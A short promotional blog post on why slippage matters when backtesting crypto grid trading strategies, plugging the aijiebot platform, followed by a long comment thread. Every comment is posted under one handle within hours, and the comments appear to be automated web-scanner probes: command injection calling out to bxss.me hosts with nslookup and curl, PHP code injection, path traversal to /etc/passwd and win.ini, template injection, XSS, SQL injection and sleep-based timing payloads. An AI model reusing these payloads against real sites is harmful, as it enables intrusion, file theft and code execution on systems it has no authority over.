The misunderstanding of backtesting cryptocurrency grid trading strategy

In the cryptocurrency market, grid trading strategies have garnered significant attention due to their unique trading logic. However, many investors often overlook the issue of slippage when backtesting grid trading strategies, falsely assuming that grid trading involves only limit orders with zero slippage. This assumption is incorrect.

Backtesting trading, especially backtest grid bot strategies, involves simulating trades under historical market conditions to assess their performance. Unlike traditional backtesting indicators like MACD, moving average, and moving average crossover, where traders are meticulous about slippage, the slippage issue is frequently neglected in grid trading backtests. In reality, even when the market price reaches a preset grid level, it does not guarantee immediate and full execution of trades due to exchange matching mechanisms and market liquidity.

Slippage, simply put, is the difference between the executed trade price and the investor's expected price. In grid trading, this becomes particularly significant, as market conditions, such as volatility and liquidity, can greatly influence whether and how quickly orders are filled.

To accurately backtest grid trading strategies, investors need to consider slippage and adopt appropriate measures. One approach is to consider a trade as executed only when the market price fully crosses the limit order price, known as a price crossover condition. This approach simulates actual trading conditions more closely, improving the accuracy of backtesting results.

Platforms like aijiebot offer free backtesting capabilities, including backtest excel features, that utilize this price crossover method to determine trade executions. This ensures that backtest results are consistent with live trading performance, providing investors with a more accurate assessment of grid trading strategies.

In summary, backtesting grid trading strategies requires careful consideration of slippage and the adoption of appropriate measures to ensure accurate results. By utilizing platforms that offer advanced backtesting capabilities, investors can better assess the effectiveness and risks of grid trading strategies.



  admin   2024-5-5

nqhXncMU2024-7-3 2:38:49
!(()&&!|*|*|
nqhXncMU2024-7-3 2:38:50
1BaZFdlC56O
nqhXncMU2024-7-3 2:38:50
^(#$!@#$)(()))******
nqhXncMU2024-7-3 2:38:51
'.gethostbyname(lc('hitux'.'mmpibrsw43d7a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(65).chr(105).chr(86).'
nqhXncMU2024-7-3 2:38:53
".gethostbyname(lc("hityk"."sqrwpijt0c620.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(80).chr(100).chr(81)."
nqhXncMU2024-7-3 2:38:53
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
nqhXncMU2024-7-3 2:38:54
';print(md5(31337));$a='
nqhXncMU2024-7-3 2:38:55
&n992125=v912449
nqhXncMU2024-7-3 2:38:55
'"()
nqhXncMU2024-7-3 2:38:56
3RreJYOa
nqhXncMU2024-7-3 2:38:57
'&&sleep(27*1000)*hszkvk&&'
nqhXncMU2024-7-3 2:38:57
";print(md5(31337));$a="
nqhXncMU2024-7-3 2:38:57
/../../../../../../../../../../windows/system32/BITSADMIN.exe
nqhXncMU2024-7-3 2:38:58
${@print(md5(31337))}
nqhXncMU2024-7-3 2:38:59
"&&sleep(27*1000)*bjigud&&"
nqhXncMU2024-7-3 2:38:59
${@print(md5(31337))}\
nqhXncMU2024-7-3 2:39:00
'||sleep(27*1000)*zxomjc||'
nqhXncMU2024-7-3 2:39:00
'.print(md5(31337)).'
nqhXncMU2024-7-3 2:39:01
"||sleep(27*1000)*qzcvqz||"
nqhXncMU2024-7-3 2:39:03
echo sytzzr$()\ demxah\nz^xyu||a #' &echo sytzzr$()\ demxah\nz^xyu||a #|" &echo sytzzr$()\ demxah\nz^xyu||a #
nqhXncMU2024-7-3 2:39:03
${10000298+9999989}
nqhXncMU2024-7-3 2:39:04
../../../../../../../../../../../../../../etc/passwd
nqhXncMU2024-7-3 2:39:04
12345'"\'\");|]*{ <>�''
nqhXncMU2024-7-3 2:39:04
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
nqhXncMU2024-7-3 2:39:05
&echo cwqfpn$()\ meeown\nz^xyu||a #' &echo cwqfpn$()\ meeown\nz^xyu||a #|" &echo cwqfpn$()\ meeown\nz^xyu||a #
nqhXncMU2024-7-3 2:39:05
../../../../../../../../../../../../../../windows/win.ini
nqhXncMU2024-7-3 2:39:05
response.write(9581568*9311431)
nqhXncMU2024-7-3 2:39:06
ctime sleep p0 (I30 tp1 Rp2 .
nqhXncMU2024-7-3 2:39:06
file:///etc/passwd
nqhXncMU2024-7-3 2:39:07
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
nqhXncMU2024-7-3 2:39:07
|echo dzstkl$()\ jhgrcp\nz^xyu||a #' |echo dzstkl$()\ jhgrcp\nz^xyu||a #|" |echo dzstkl$()\ jhgrcp\nz^xyu||a #
nqhXncMU2024-7-3 2:39:07
'+response.write(9581568*9311431)+'
nqhXncMU2024-7-3 2:39:07
../
nqhXncMU2024-7-3 2:39:08
(nslookup -q=cname hitdvyrrumohf1cbd7.bxss.me||curl hitdvyrrumohf1cbd7.bxss.me))
nqhXncMU2024-7-3 2:39:08
Http://bxss.me/t/fit.txt
nqhXncMU2024-7-3 2:39:08
"+response.write(9581568*9311431)+"
nqhXncMU2024-7-3 2:39:09
$(nslookup -q=cname hitzuumgnyojl434fa.bxss.me||curl hitzuumgnyojl434fa.bxss.me)
nqhXncMU2024-7-3 2:39:09
HttP://bxss.me/t/xss.html?%00
nqhXncMU2024-7-3 2:39:09
"+"A".concat(70-3).concat(22*4).concat(105).concat(82).concat(111).concat(77)+(require"socket" Socket.gethostbyname("hitgr"+"psjxhqxa1191f.bxss.me.")[3].to_s)+"
nqhXncMU2024-7-3 2:39:10
bxss.me/t/xss.html?%00
nqhXncMU2024-7-3 2:39:10
http://bxss.me/t/fit.txt?.jpg
nqhXncMU2024-7-3 2:39:11
&nslookup -q=cname hitfnczjtrkhse79bd.bxss.me&'\"`0&nslookup -q=cname hitfnczjtrkhse79bd.bxss.me&`'
nqhXncMU2024-7-3 2:39:11
'+'A'.concat(70-3).concat(22*4).concat(104).concat(67).concat(120).concat(90)+(require'socket' Socket.gethostbyname('hitzc'+'gwtcohgtc4471.bxss.me.')[3].to_s)+'
nqhXncMU2024-7-3 2:39:11
370
nqhXncMU2024-7-3 2:39:12
&(nslookup -q=cname hitferrkedmjp37172.bxss.me||curl hitferrkedmjp37172.bxss.me)&'\"`0&(nslookup -q=cname hitferrkedmjp37172.bxss.me||curl hitferrkedmjp37172.bxss.me)&`'
nqhXncMU2024-7-3 2:39:12
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
nqhXncMU2024-7-3 2:39:12
/etc/shells
nqhXncMU2024-7-3 2:39:13
370
nqhXncMU2024-7-3 2:39:13
xfs.bxss.me
nqhXncMU2024-7-3 2:39:14
900078
nqhXncMU2024-7-3 2:39:15
c:/windows/win.ini
nqhXncMU2024-7-3 2:39:15
|(nslookup -q=cname hitlqaznoxynj24cf0.bxss.me||curl hitlqaznoxynj24cf0.bxss.me)
nqhXncMU2024-7-3 2:39:15
370/.
nqhXncMU2024-7-3 2:39:16
9389075
nqhXncMU2024-7-3 2:39:16
bxss.me
nqhXncMU2024-7-3 2:39:17
bfg8722<s1﹥s2ʺs3ʹhjl8722
nqhXncMU2024-7-3 2:39:17
http://xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:39:18
`(nslookup -q=cname hitscqsllvvjrb84c4.bxss.me||curl hitscqsllvvjrb84c4.bxss.me)`
nqhXncMU2024-7-3 2:39:19
xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:39:19
bfgx9056��z1��z2a�bcxhjl9056
nqhXncMU2024-7-3 2:39:21
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 2:39:23
//xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:39:25
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:39:27
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:39:29
/\xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:39:29
dfb{98991*97996}xca
nqhXncMU2024-7-3 2:39:31
dfb${98991*97996}xca
nqhXncMU2024-7-3 2:39:33
dfb#{98991*97996}xca
nqhXncMU2024-7-3 2:39:36
dfb{#98991*97996}xca
nqhXncMU2024-7-3 2:39:39
dfb{@98991*97996}xca
nqhXncMU2024-7-3 2:39:42
dfb{{=98991*97996}}xca
nqhXncMU2024-7-3 2:39:45
dfb@(98991*97996)xca
nqhXncMU2024-7-3 2:39:48
dfb<%=98991*97996%>xca
nqhXncMU2024-7-3 2:39:49
dfb#set($x=98991*97996)${x}xca
nqhXncMU2024-7-3 2:39:51
dfb{{"abc"|title}}xca
nqhXncMU2024-7-3 2:39:53
print("dfb" . 98991*97996 . "xca");
nqhXncMU2024-7-3 2:39:55
98991*97996*98991*97996
nqhXncMU2024-7-3 2:39:57
dfb{@math key=98991 method="multiply" operand=97996/}xca
nqhXncMU2024-7-3 2:40:01
dfb{{{this}}}xca
nqhXncMU2024-7-3 2:40:02
#{98991*97996*98991*97996}
nqhXncMU2024-7-3 2:40:04
dfb#{xca}=123
nqhXncMU2024-7-3 2:40:07
dfb{{'abcd'.toUpperCase()}}xca
nqhXncMU2024-7-3 2:40:08
AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA
nqhXncMU2024-7-3 2:40:12
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:40:15
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 2:40:18
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 2:40:20
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 2:40:26
%0D%0A%3C%53%63%52%69%50%74%20%3E%75%63%4A%32%289254%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 2:40:28
\u003CScRiPt\ucJ2(9390)\u003C/sCripT\u003E
nqhXncMU2024-7-3 2:40:31
&lt;ScRiPt&gt;ucJ2(9239)&lt;/sCripT&gt;
nqhXncMU2024-7-3 2:40:34
}body{zzz:Expre/**/SSion(ucJ2(9014))}
nqhXncMU2024-7-3 2:44:46
DjkPwIg1
nqhXncMU2024-7-3 2:45:15
*619*614*0
nqhXncMU2024-7-3 2:45:20
NaN+624-619-5
nqhXncMU2024-7-3 2:45:23
*612*607*0
nqhXncMU2024-7-3 2:45:28
NaN+617-612-5
nqhXncMU2024-7-3 2:45:35
*963*958*0
nqhXncMU2024-7-3 2:45:40
NaN+968-963-5
nqhXncMU2024-7-3 2:45:44
*899*894*0
nqhXncMU2024-7-3 2:45:49
NaN+904-899-5
nqhXncMU2024-7-3 2:45:53
-1 OR 2+285-285-1=0+0+0+1
nqhXncMU2024-7-3 2:45:56
-1 OR 3+285-285-1=0+0+0+1
nqhXncMU2024-7-3 2:45:59
-1 OR 3*2<(0+5+285-285)
nqhXncMU2024-7-3 2:46:02
-1 OR 3*2>(0+5+285-285)
nqhXncMU2024-7-3 2:46:05
����%2527%2522\'\"
nqhXncMU2024-7-3 2:46:10
@@E9t0C
nqhXncMU2024-7-3 3:12:32
9215657
nqhXncMU2024-7-3 3:12:43
bfg1766<s1﹥s2ʺs3ʹhjl1766
nqhXncMU2024-7-3 3:12:56
bfgx2516��z1��z2a�bcxhjl2516
nqhXncMU2024-7-3 3:13:08
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 3:13:27
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 3:13:36
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 3:13:49
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 3:13:57
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 3:14:10
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 3:15:59
%0D%0A%3C%53%63%52%69%50%74%20%3E%37%43%35%47%289301%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 3:16:14
\u003CScRiPt\7C5G(9712)\u003C/sCripT\u003E
nqhXncMU2024-7-3 3:16:27
&lt;ScRiPt&gt;7C5G(9225)&lt;/sCripT&gt;
nqhXncMU2024-7-3 3:17:11
}body{zzz:Expre/**/SSion(7C5G(9128))}
nqhXncMU2024-7-3 9:06:42
9506224
nqhXncMU2024-7-3 9:06:46
bfg3750<s1﹥s2ʺs3ʹhjl3750
nqhXncMU2024-7-3 9:06:52
bfgx4222��z1��z2a�bcxhjl4222
nqhXncMU2024-7-3 9:06:56
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 9:07:01
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 9:07:07
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 9:07:11
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 9:07:16
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 9:07:20
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 9:08:05
%0D%0A%3C%53%63%52%69%50%74%20%3E%77%4A%75%73%289215%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 9:08:11
\u003CScRiPt\wJus(9857)\u003C/sCripT\u003E
nqhXncMU2024-7-3 9:08:15
&lt;ScRiPt&gt;wJus(9019)&lt;/sCripT&gt;
nqhXncMU2024-7-3 9:08:32
}body{zzz:Expre/**/SSion(wJus(9292))}
评论: